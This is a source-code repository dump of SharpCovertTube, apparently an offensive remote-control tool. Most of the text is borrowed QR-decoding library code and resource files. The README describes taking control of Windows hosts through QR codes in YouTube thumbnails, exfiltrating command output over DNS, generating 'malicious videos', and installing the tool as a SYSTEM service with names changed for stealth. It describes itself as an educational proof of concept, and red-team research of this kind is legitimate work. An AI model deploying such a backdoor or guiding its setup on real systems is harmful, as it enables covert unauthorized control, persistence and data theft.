TraceFile = new StreamWriter(TraceFileName, true); 104 | 105 | // write date and time 106 | TraceFile.Write(string.Format("{0:yyyy}/{0:MM}/{0:dd} {0:HH}:{0:mm}:{0:ss} ", DateTime.Now)); 107 | 108 | // write message 109 | TraceFile.WriteLine(Message); 110 | 111 | // close the file 112 | TraceFile.Close(); 113 | 114 | // exit 115 | return; 116 | } 117 | 118 | 119 | ///////////////////////////////////////////////////////////////////// 120 | // Test file size 121 | // If file is too big, remove first quarter of the file 122 | ///////////////////////////////////////////////////////////////////// 123 | 124 | private static void TestSize() 125 | { 126 | // get trace file info 127 | FileInfo TraceFileInfo = new FileInfo(TraceFileName); 128 | 129 | // if file does not exist or file length less than max allowed file size do nothing 130 | if (TraceFileInfo.Exists == false || TraceFileInfo.Length <= MaxAllowedFileSize) return; 131 | 132 | // create file info class 133 | FileStream TraceFile = new FileStream(TraceFileName, FileMode.Open, FileAccess.ReadWrite, FileShare.None); 134 | 135 | // seek to 25% length 136 | TraceFile.Seek(TraceFile.Length / 4, SeekOrigin.Begin); 137 | 138 | // new file length 139 | int NewFileLength = (int) (TraceFile.Length - TraceFile.Position); 140 | 141 | // new file buffer 142 | byte[] Buffer = new byte[NewFileLength]; 143 | 144 | // read file to the end 145 | TraceFile.Read(Buffer, 0, NewFileLength); 146 | 147 | // search for first end of line 148 | int StartPtr = 0; 149 | while(StartPtr < 1024 && Buffer[StartPtr++] != '\n'); 150 | if(StartPtr == 1024) StartPtr = 0; 151 | 152 | // seek to start of file 153 | TraceFile.Seek(0, SeekOrigin.Begin); 154 | 155 | // write 75% top part of file over the start of the file 156 | TraceFile.Write(Buffer, StartPtr, NewFileLength - StartPtr); 157 | 158 | // truncate the file 159 | TraceFile.SetLength(TraceFile.Position); 160 | 161 | // close the file 162 | TraceFile.Close(); 163 | 164 | // exit 165 | return; 166 | } 167 | } 168 | #endif 169 | } -------------------------------------------------------------------------------- /SharpCovertTube_Service/QRCodeDecoder/QRCodeTrace.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code trace for debuging. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | using System.IO; 46 | 47 | namespace SharpCovertTube_Service.QRCodeDecoder 48 | { 49 | #if DEBUG 50 | ///////////////////////////////////////////////////////////////////// 51 | // Trace Class 52 | ///////////////////////////////////////////////////////////////////// 53 | 54 | static public class QRCodeTrace 55 | { 56 | private static string TraceFileName; // trace file name 57 | private static int MaxAllowedFileSize = 1024*1024; 58 | 59 | ///////////////////////////////////////////////////////////////////// 60 | // Open trace file 61 | ///////////////////////////////////////////////////////////////////// 62 | 63 | public static void Open 64 | ( 65 | string FileName 66 | ) 67 | { 68 | // save full file name 69 | TraceFileName = Path.GetFullPath(FileName); 70 | Write("----"); 71 | return; 72 | } 73 | 74 | ///////////////////////////////////////////////////////////////////// 75 | // write to trace file 76 | ///////////////////////////////////////////////////////////////////// 77 | 78 | public static void Format 79 | ( 80 | string Message, 81 | params Object[] ArgArray 82 | ) 83 | { 84 | if(ArgArray.Length == 0) Write(Message); 85 | else Write(string.Format(Message, ArgArray)); 86 | return; 87 | } 88 | 89 | ///////////////////////////////////////////////////////////////////// 90 | // write to trace file 91 | ///////////////////////////////////////////////////////////////////// 92 | 93 | public static void Write 94 | ( 95 | string Message 96 | ) 97 | { 98 | Console.WriteLine("Message: \t" + Message); 99 | // test file length 100 | TestSize(); 101 | 102 | // open existing or create new trace file 103 | StreamWriter TraceFile = new StreamWriter(TraceFileName, true); 104 | 105 | // write date and time 106 | TraceFile.Write(string.Format("{0:yyyy}/{0:MM}/{0:dd} {0:HH}:{0:mm}:{0:ss} ", DateTime.Now)); 107 | 108 | // write message 109 | TraceFile.WriteLine(Message); 110 | 111 | // close the file 112 | TraceFile.Close(); 113 | 114 | // exit 115 | return; 116 | } 117 | 118 | 119 | ///////////////////////////////////////////////////////////////////// 120 | // Test file size 121 | // If file is too big, remove first quarter of the file 122 | ///////////////////////////////////////////////////////////////////// 123 | 124 | private static void TestSize() 125 | { 126 | // get trace file info 127 | FileInfo TraceFileInfo = new FileInfo(TraceFileName); 128 | 129 | // if file does not exist or file length less than max allowed file size do nothing 130 | if (TraceFileInfo.Exists == false || TraceFileInfo.Length <= MaxAllowedFileSize) return; 131 | 132 | // create file info class 133 | FileStream TraceFile = new FileStream(TraceFileName, FileMode.Open, FileAccess.ReadWrite, FileShare.None); 134 | 135 | // seek to 25% length 136 | TraceFile.Seek(TraceFile.Length / 4, SeekOrigin.Begin); 137 | 138 | // new file length 139 | int NewFileLength = (int) (TraceFile.Length - TraceFile.Position); 140 | 141 | // new file buffer 142 | byte[] Buffer = new byte[NewFileLength]; 143 | 144 | // read file to the end 145 | TraceFile.Read(Buffer, 0, NewFileLength); 146 | 147 | // search for first end of line 148 | int StartPtr = 0; 149 | while(StartPtr < 1024 && Buffer[StartPtr++] != '\n'); 150 | if(StartPtr == 1024) StartPtr = 0; 151 | 152 | // seek to start of file 153 | TraceFile.Seek(0, SeekOrigin.Begin); 154 | 155 | // write 75% top part of file over the start of the file 156 | TraceFile.Write(Buffer, StartPtr, NewFileLength - StartPtr); 157 | 158 | // truncate the file 159 | TraceFile.SetLength(TraceFile.Position); 160 | 161 | // close the file 162 | TraceFile.Close(); 163 | 164 | // exit 165 | return; 166 | } 167 | } 168 | #endif 169 | } -------------------------------------------------------------------------------- /SharpCovertTube_Service/SharpCovertTube_Service.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | 124 | False 125 | 126 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/ProjectInstaller.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 60 122 | 123 | 124 | 229, 17 125 | 126 | 127 | False 128 | 129 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpCovertTube 2 | 3 | SharpCovertTube is a program created to control Windows systems remotely by uploading videos to Youtube. 4 | 5 | The program monitors a Youtube channel until a video is uploaded, decodes the QR code from the thumbnail of the uploaded video and executes a command. The QR codes in the videos can use cleartext or AES-encrypted values. 6 | 7 | It has two versions, binary and service binary, and it includes a Python script to generate the malicious videos. Its purpose is to serve as a persistence method using only web requests to the Google API. 8 | 9 | ![img1](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_0.png) 10 | 11 | 12 | ## Usage 13 | 14 | Run the listener in your Windows system: 15 | 16 | ![img1](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_1.png) 17 | 18 | It will check the Youtube channel every a specific amount of time (10 minutes by default) until a new video is uploaded. In this case, we upload "whoami.avi" from the folder [example-videos](https://github.com/ricardojoserf/SharpCovertTube/tree/main/example-videos): 19 | 20 | 21 | 22 | After finding there is a [new video](https://www.youtube.com/shorts/-JcDf4pF0qA) in the channel, it decodes the QR code from the video thumbnail, executes the command and the response is base64-encoded and exfiltrated using DNS: 23 | 24 | ![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_3.png) 25 | 26 | This works also for QR codes with AES-encrypted payloads and longer command responses. In this example, the file "dirtemp_aes.avi" from [example-videos](https://github.com/ricardojoserf/SharpCovertTube/tree/main/example-videos) is uploaded and the content of c:\temp is exfiltrated using several DNS queries: 27 | 28 | ![img4](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_4.png) 29 | 30 | Logging to a file is optional but check the folder exists, the default value is "c:\temp\\.sharpcoverttube.log" so "c:\temp" should exist. 31 | 32 | DNS exfiltration is also optional and can be easily tested using Burp's collaborator: 33 | 34 | ![img8](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_8.png) 35 | 36 | As an alternative, I created a script to easily create QR videos, upload to Youtube and monitor and parse the base64-encoded DNS queries. The configuration to use this script as C2 server is explained in the [c2-server folder](https://github.com/ricardojoserf/SharpCovertTube/tree/main/c2-server): 37 | 38 | ![c2_0](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/c2_0.png) 39 | 40 | ------------------- 41 | 42 | ## Configuration 43 | 44 | There are some values you can change, you can find them in Configuration.cs file for the [regular binary](https://github.com/ricardojoserf/SharpCovertTube/blob/main/SharpCovertTube/Configuration.cs) and [the service binary](https://github.com/ricardojoserf/SharpCovertTube/blob/main/SharpCovertTube_Service/Configuration.cs). Only the first two values have to be updated: 45 | 46 | - **channel_id** (Mandatory!!!): Get your Youtube channel ID from [here](https://www.youtube.com/account_advanced). 47 | - **api_key** (Mandatory!!!): To get the API key create an application and generate the key from [here](https://console.cloud.google.com/apis/credentials). 48 | - **payload_aes_key** (Optional. Default: "0000000000000000"): AES key for decrypting QR codes (if using AES). It must be a 16-characters string. 49 | - **payload_aes_iv** (Optional. Default: "0000000000000000"): IV key for decrypting QR codes (if using AES). It must be a 16-characters string. 50 | - **seconds_delay** (Optional. Default: 600): Seconds of delay until checking if a new video has been uploaded. If the value is low you will exceed the API rate limit. 51 | - **debug_console** (Optional. Default: true): Show debug messages in console or not. 52 | - **log_to_file** (Optional. Default: true): Write debug messages in log file or not. 53 | - **log_file** (Optional. Default: "c:\temp\\.sharpcoverttube.log"): Log file path. 54 | - **dns_exfiltration** (Optional. Default: true): Exfiltrate command responses through DNS or not. 55 | - **dns_hostname** (Optional. Default: ".test.org"): DNS hostname to exfiltrate the response from commands executed in the system. 56 | 57 | ![img6](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_6.png) 58 | 59 | 60 | ---------------------------------- 61 | 62 | ## Generating videos with QR codes 63 | 64 | You can generate the videos using the server script in the [c2-server folder](https://github.com/ricardojoserf/SharpCovertTube/tree/main/c2-server) or simply running the *generate_video.py* script. For the latter, first install the dependencies: 65 | 66 | ``` 67 | pip install Pillow opencv-python pyqrcode pypng pycryptodome rebus 68 | ``` 69 | 70 | In case you are using Linux you may also need: 71 | 72 | ``` 73 | apt-get install libgl1 74 | ``` 75 | 76 | Then run the generate_video.py script: 77 | 78 | ``` 79 | python generate_video.py -t TYPE -f FILE -c COMMAND [-k AESKEY] [-i AESIV] 80 | ``` 81 | 82 | - TYPE (-t) must be "qr" for payloads in cleartext or "qr_aes" if using AES encryption. 83 | 84 | - FILE (-f) is the path where the video is generated. 85 | 86 | - COMMAND (-c) is the command to execute in the system. 87 | 88 | - AESKEY (-k) is the key for AES encryption, only necessary if using the type "qr_aes". It must be a string of 16 characters and the same as in Program.cs file in SharpCovertTube. 89 | 90 | - AESIV (-i) is the IV for AES encryption, only necessary if using the type "qr_aes". It must be a string of 16 characters and the same as in Program.cs file in SharpCovertTube. 91 | 92 | 93 | ### Examples 94 | 95 | Generate a video with a QR value of "whoami" in cleartext in the path c:\temp\whoami.avi: 96 | 97 | ``` 98 | python generate_video.py -t qr -f c:\temp\whoami.avi -c whoami 99 | ``` 100 | 101 | Generate a video with an AES-encrypted QR value of "dir c:\windows\temp" with the key and IV "0000000000000000" in the path c:\temp\dirtemp_aes.avi: 102 | 103 | ``` 104 | python generate_video.py -t qr_aes -f c:\temp\dirtemp_aes.avi -c "dir c:\windows\temp" -k 0000000000000000 -i 0000000000000000 105 | ``` 106 |
107 | 108 | ![img5](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_5.png) 109 | 110 | 111 | --------------------------- 112 | 113 | ## Running it as a service 114 | 115 | You can find the code to run it as a service in the [SharpCovertTube_Service folder](https://github.com/ricardojoserf/SharpCovertTube/tree/main/SharpCovertTube_Service). It has the same functionalities except self-deletion, which would not make sense in this case. 116 | 117 | It is possible to install it with InstallUtil, it is prepared to run as the SYSTEM user and you need to install it as administrator: 118 | 119 | ``` 120 | InstallUtil.exe SharpCovertTube_Service.exe 121 | ``` 122 | 123 | You can then start it with: 124 | 125 | ``` 126 | net start "SharpCovertTube Service" 127 | ``` 128 | 129 | ![img7](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/Screenshot_7.png) 130 | 131 | In case you have administrative privileges this may be stealthier than the ordinary binary, but the "Description" and "DisplayName" should be updated (as you can see in the image above). If you do not have those privileges you can not install services so you can only use the ordinary binary. 132 | 133 | --------------------------- 134 | 135 | ## Notes 136 | 137 | - **File must be 64 bits!!!** This is due to the code used for QR decoding, which is borrowed from Stefan Gansevles's [QR-Capture](https://github.com/Stefangansevles/QR-Capture) project, who borrowed part of it from Uzi Granot's [QRCode](https://github.com/Uzi-Granot/QRCode) project, who at the same time borrowed part of it from Zakhar Semenov's [Camera_Net](https://github.com/free5lot/Camera_Net) project (then I lost track). So thanks to all of them! 138 | 139 | - This project is a port from [covert-tube](https://github.com/ricardojoserf/covert-tube), a project I developed in 2021 using just Python, which was inspired by Welivesecurity blogs about [Casbaneiro](https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/) and [Numando](https://www.welivesecurity.com/2021/09/17/numando-latam-banking-trojan/) malwares. 140 | 141 | - This project is a PoC to show how almost anything on the Internet can be used as C2 channel, hopefully it is inspirational for someone. The project is intended for educational purposes, if you misuse the Youtube service you can get in problems such as Youtube deleting your channel. 142 | -------------------------------------------------------------------------------- /SharpCovertTube/QRCodeDecoder/Corner.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code three finders corner class. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | 46 | namespace SharpCovertTube.QRCodeDecoder 47 | { 48 | ///////////////////////////////////////////////////////////////////// 49 | // QR corner three finders pattern class 50 | ///////////////////////////////////////////////////////////////////// 51 | 52 | internal class Corner 53 | { 54 | internal Finder TopLeftFinder; 55 | internal Finder TopRightFinder; 56 | internal Finder BottomLeftFinder; 57 | 58 | internal double TopLineDeltaX; 59 | internal double TopLineDeltaY; 60 | internal double TopLineLength; 61 | internal double LeftLineDeltaX; 62 | internal double LeftLineDeltaY; 63 | internal double LeftLineLength; 64 | 65 | ///////////////////////////////////////////////////////////////////// 66 | // QR corner constructor 67 | ///////////////////////////////////////////////////////////////////// 68 | 69 | private Corner 70 | ( 71 | Finder TopLeftFinder, 72 | Finder TopRightFinder, 73 | Finder BottomLeftFinder 74 | ) 75 | { 76 | // save three finders 77 | this.TopLeftFinder = TopLeftFinder; 78 | this.TopRightFinder = TopRightFinder; 79 | this.BottomLeftFinder = BottomLeftFinder; 80 | 81 | // top line slope 82 | TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col; 83 | TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row; 84 | 85 | // top line length 86 | TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY); 87 | 88 | // left line slope 89 | LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col; 90 | LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row; 91 | 92 | // left line length 93 | LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY); 94 | return; 95 | } 96 | 97 | ///////////////////////////////////////////////////////////////////// 98 | // Test QR corner for validity 99 | ///////////////////////////////////////////////////////////////////// 100 | 101 | internal static Corner CreateCorner 102 | ( 103 | Finder TopLeftFinder, 104 | Finder TopRightFinder, 105 | Finder BottomLeftFinder 106 | ) 107 | { 108 | // try all three possible permutation of three finders 109 | for (int Index = 0; Index < 3; Index++) 110 | { 111 | // TestCorner runs three times to test all posibilities 112 | // rotate top left, top right and bottom left 113 | if (Index != 0) 114 | { 115 | Finder Temp = TopLeftFinder; 116 | TopLeftFinder = TopRightFinder; 117 | TopRightFinder = BottomLeftFinder; 118 | BottomLeftFinder = Temp; 119 | } 120 | 121 | // top line slope 122 | double TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col; 123 | double TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row; 124 | 125 | // left line slope 126 | double LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col; 127 | double LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row; 128 | 129 | // top line length 130 | double TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY); 131 | 132 | // left line length 133 | double LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY); 134 | 135 | // the short side must be at least 80% of the long side 136 | if (Math.Min(TopLineLength, LeftLineLength) < QRDecoder.CORNER_SIDE_LENGTH_DEV * Math.Max(TopLineLength, LeftLineLength)) continue; 137 | 138 | // top line vector 139 | double TopLineSin = TopLineDeltaY / TopLineLength; 140 | double TopLineCos = TopLineDeltaX / TopLineLength; 141 | 142 | // rotate lines such that top line is parallel to x axis 143 | // left line after rotation 144 | double NewLeftX = TopLineCos * LeftLineDeltaX + TopLineSin * LeftLineDeltaY; 145 | double NewLeftY = -TopLineSin * LeftLineDeltaX + TopLineCos * LeftLineDeltaY; 146 | 147 | // new left line X should be zero (or between +/- 4 deg) 148 | if (Math.Abs(NewLeftX / LeftLineLength) > QRDecoder.CORNER_RIGHT_ANGLE_DEV) continue; 149 | 150 | // swap top line with left line 151 | if (NewLeftY < 0) 152 | { 153 | // swap top left with bottom right 154 | Finder TempFinder = TopRightFinder; 155 | TopRightFinder = BottomLeftFinder; 156 | BottomLeftFinder = TempFinder; 157 | } 158 | 159 | return new Corner(TopLeftFinder, TopRightFinder, BottomLeftFinder); 160 | } 161 | return null; 162 | } 163 | 164 | ///////////////////////////////////////////////////////////////////// 165 | // Test QR corner for validity 166 | ///////////////////////////////////////////////////////////////////// 167 | 168 | internal int InitialVersionNumber() 169 | { 170 | // version number based on top line 171 | double TopModules = 7; 172 | 173 | // top line is mostly horizontal 174 | if (Math.Abs(TopLineDeltaX) >= Math.Abs(TopLineDeltaY)) 175 | { 176 | TopModules += TopLineLength * TopLineLength / 177 | (Math.Abs(TopLineDeltaX) * 0.5 * (TopLeftFinder.HModule + TopRightFinder.HModule)); 178 | } 179 | 180 | // top line is mostly vertical 181 | else 182 | { 183 | TopModules += TopLineLength * TopLineLength / 184 | (Math.Abs(TopLineDeltaY) * 0.5 * (TopLeftFinder.VModule + TopRightFinder.VModule)); 185 | } 186 | 187 | // version number based on left line 188 | double LeftModules = 7; 189 | 190 | // Left line is mostly vertical 191 | if (Math.Abs(LeftLineDeltaY) >= Math.Abs(LeftLineDeltaX)) 192 | { 193 | LeftModules += LeftLineLength * LeftLineLength / 194 | (Math.Abs(LeftLineDeltaY) * 0.5 * (TopLeftFinder.VModule + BottomLeftFinder.VModule)); 195 | } 196 | 197 | // left line is mostly horizontal 198 | else 199 | { 200 | LeftModules += LeftLineLength * LeftLineLength / 201 | (Math.Abs(LeftLineDeltaX) * 0.5 * (TopLeftFinder.HModule + BottomLeftFinder.HModule)); 202 | } 203 | 204 | // version (there is rounding in the calculation) 205 | int Version = ((int)Math.Round(0.5 * (TopModules + LeftModules)) - 15) / 4; 206 | 207 | // not a valid corner 208 | if (Version < 1 || Version > 40) throw new ApplicationException("Corner is not valid (version number must be 1 to 40)"); 209 | 210 | // exit with version number 211 | return Version; 212 | } 213 | } 214 | } -------------------------------------------------------------------------------- /SharpCovertTube_Service/QRCodeDecoder/Corner.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code three finders corner class. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | 46 | namespace SharpCovertTube_Service.QRCodeDecoder 47 | { 48 | ///////////////////////////////////////////////////////////////////// 49 | // QR corner three finders pattern class 50 | ///////////////////////////////////////////////////////////////////// 51 | 52 | internal class Corner 53 | { 54 | internal Finder TopLeftFinder; 55 | internal Finder TopRightFinder; 56 | internal Finder BottomLeftFinder; 57 | 58 | internal double TopLineDeltaX; 59 | internal double TopLineDeltaY; 60 | internal double TopLineLength; 61 | internal double LeftLineDeltaX; 62 | internal double LeftLineDeltaY; 63 | internal double LeftLineLength; 64 | 65 | ///////////////////////////////////////////////////////////////////// 66 | // QR corner constructor 67 | ///////////////////////////////////////////////////////////////////// 68 | 69 | private Corner 70 | ( 71 | Finder TopLeftFinder, 72 | Finder TopRightFinder, 73 | Finder BottomLeftFinder 74 | ) 75 | { 76 | // save three finders 77 | this.TopLeftFinder = TopLeftFinder; 78 | this.TopRightFinder = TopRightFinder; 79 | this.BottomLeftFinder = BottomLeftFinder; 80 | 81 | // top line slope 82 | TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col; 83 | TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row; 84 | 85 | // top line length 86 | TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY); 87 | 88 | // left line slope 89 | LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col; 90 | LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row; 91 | 92 | // left line length 93 | LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY); 94 | return; 95 | } 96 | 97 | ///////////////////////////////////////////////////////////////////// 98 | // Test QR corner for validity 99 | ///////////////////////////////////////////////////////////////////// 100 | 101 | internal static Corner CreateCorner 102 | ( 103 | Finder TopLeftFinder, 104 | Finder TopRightFinder, 105 | Finder BottomLeftFinder 106 | ) 107 | { 108 | // try all three possible permutation of three finders 109 | for (int Index = 0; Index < 3; Index++) 110 | { 111 | // TestCorner runs three times to test all posibilities 112 | // rotate top left, top right and bottom left 113 | if (Index != 0) 114 | { 115 | Finder Temp = TopLeftFinder; 116 | TopLeftFinder = TopRightFinder; 117 | TopRightFinder = BottomLeftFinder; 118 | BottomLeftFinder = Temp; 119 | } 120 | 121 | // top line slope 122 | double TopLineDeltaX = TopRightFinder.Col - TopLeftFinder.Col; 123 | double TopLineDeltaY = TopRightFinder.Row - TopLeftFinder.Row; 124 | 125 | // left line slope 126 | double LeftLineDeltaX = BottomLeftFinder.Col - TopLeftFinder.Col; 127 | double LeftLineDeltaY = BottomLeftFinder.Row - TopLeftFinder.Row; 128 | 129 | // top line length 130 | double TopLineLength = Math.Sqrt(TopLineDeltaX * TopLineDeltaX + TopLineDeltaY * TopLineDeltaY); 131 | 132 | // left line length 133 | double LeftLineLength = Math.Sqrt(LeftLineDeltaX * LeftLineDeltaX + LeftLineDeltaY * LeftLineDeltaY); 134 | 135 | // the short side must be at least 80% of the long side 136 | if (Math.Min(TopLineLength, LeftLineLength) < QRDecoder.CORNER_SIDE_LENGTH_DEV * Math.Max(TopLineLength, LeftLineLength)) continue; 137 | 138 | // top line vector 139 | double TopLineSin = TopLineDeltaY / TopLineLength; 140 | double TopLineCos = TopLineDeltaX / TopLineLength; 141 | 142 | // rotate lines such that top line is parallel to x axis 143 | // left line after rotation 144 | double NewLeftX = TopLineCos * LeftLineDeltaX + TopLineSin * LeftLineDeltaY; 145 | double NewLeftY = -TopLineSin * LeftLineDeltaX + TopLineCos * LeftLineDeltaY; 146 | 147 | // new left line X should be zero (or between +/- 4 deg) 148 | if (Math.Abs(NewLeftX / LeftLineLength) > QRDecoder.CORNER_RIGHT_ANGLE_DEV) continue; 149 | 150 | // swap top line with left line 151 | if (NewLeftY < 0) 152 | { 153 | // swap top left with bottom right 154 | Finder TempFinder = TopRightFinder; 155 | TopRightFinder = BottomLeftFinder; 156 | BottomLeftFinder = TempFinder; 157 | } 158 | 159 | return new Corner(TopLeftFinder, TopRightFinder, BottomLeftFinder); 160 | } 161 | return null; 162 | } 163 | 164 | ///////////////////////////////////////////////////////////////////// 165 | // Test 